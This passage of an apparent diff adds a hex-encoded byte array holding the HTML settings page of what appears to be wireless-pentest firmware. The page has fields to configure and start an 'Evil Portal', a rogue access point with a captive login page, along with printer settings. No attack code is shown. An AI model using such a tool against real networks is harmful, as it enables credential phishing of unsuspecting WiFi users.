0x6E, 0x74, 0x65, 0x72, 0x20, 0x57, 0x69, 0x46, + 0x69, 0x20, 0x53, 0x53, 0x49, 0x44, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, + 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, + 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, + 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, + 0x77, 0x6F, 0x72, 0x64, 0x22, 0x3E, 0x57, 0x69, 0x46, 0x69, 0x20, 0x50, + 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, + 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, + 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, + 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, + 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, + 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x66, 0x6F, 0x72, 0x20, + 0x74, 0x68, 0x65, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x6E, 0x65, 0x74, + 0x77, 0x6F, 0x72, 0x6B, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x62, 0x79, + 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, + 0x72, 0x74, 0x61, 0x6C, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, + 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, + 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, + 0x6F, 0x72, 0x64, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, + 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, + 0x57, 0x69, 0x46, 0x69, 0x20, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, + 0x64, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, + 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, + 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, + 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, + 0x61, 0x6C, 0x5F, 0x61, 0x70, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x22, 0x3E, + 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, + 0x41, 0x50, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, + 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, + 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, + 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, + 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x53, + 0x53, 0x49, 0x44, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, + 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x50, 0x6F, 0x69, 0x6E, 0x74, + 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, + 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x2E, 0x3C, 0x2F, 0x73, 0x70, + 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, + 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, + 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, + 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, + 0x64, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x61, 0x70, + 0x5F, 0x73, 0x73, 0x69, 0x64, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, + 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, + 0x72, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x20, 0x41, 0x50, 0x20, 0x53, 0x53, 0x49, 0x44, 0x22, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, + 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, + 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, + 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, + 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, + 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x22, 0x3E, 0x50, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x20, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x20, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, + 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, + 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, + 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, + 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, + 0x64, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x20, + 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, + 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x2E, 0x3C, 0x2F, 0x73, 0x70, + 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, + 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, + 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, + 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, + 0x64, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, 0x6F, + 0x6D, 0x61, 0x69, 0x6E, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, + 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, + 0x20, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, + 0x63, 0x6B, 0x3D, 0x22, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x76, 0x69, + 0x6C, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x28, 0x29, 0x22, 0x3E, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, + 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, + 0x50, 0x6F, 0x77, 0x65, 0x72, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, + 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, + 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, + 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x6F, 0x77, 0x65, 0x72, 0x2D, 0x70, + 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, + 0x6F, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x50, 0x6F, 0x77, 0x65, 0x72, 0x20, + 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6E, 0x67, 0x73, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, + 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, + 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, + 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x72, + 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x22, 0x3E, 0x50, 0x72, + 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x49, 0x50, 0x20, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, + 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, + 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, + 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, + 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, + 0x49, 0x50, 0x20, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x6F, + 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, + 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, + 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x72, 0x69, + 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x22, 0x20, 0x70, 0x6C, 0x61, + 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, + 0x74, 0x65, 0x72, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, + 0x49, 0x50, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, + 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, + 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x72, 0x69, + 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x50, + 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x54, 0x65, 0x78, 0x74, 0x20, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, + 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, + 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, + 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, + 0x65, 0x78, 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, + 0x68, 0x65, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x70, + 0x72, 0x69, 0x6E, 0x74, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, + 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2E, 0x3C, 0x2F, 0x73, 0x70, + 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, + 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, + 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x74, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, + 0x61, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, + 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, + 0x65, 0x72, 0x20, 0x54, 0x65, 0x78, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x50, + 0x72, 0x69, 0x6E, 0x74, 0x22, 0x3E, 0x3C, 0x2F, 0x74, 0x65, 0x78, 0x74, + 0x61, 0x72, 0x65, 0x61, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, + 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, + 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, + 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x72, + 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, + 0x69, 0x7A, 0x65, 0x22, 0x3E, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, + 0x20, 0x46, 0x6F, 0x6E, 0x74, 0x20, 0x53, 0x69, 0x7A, 0x65, 0x20, 0x0D, + 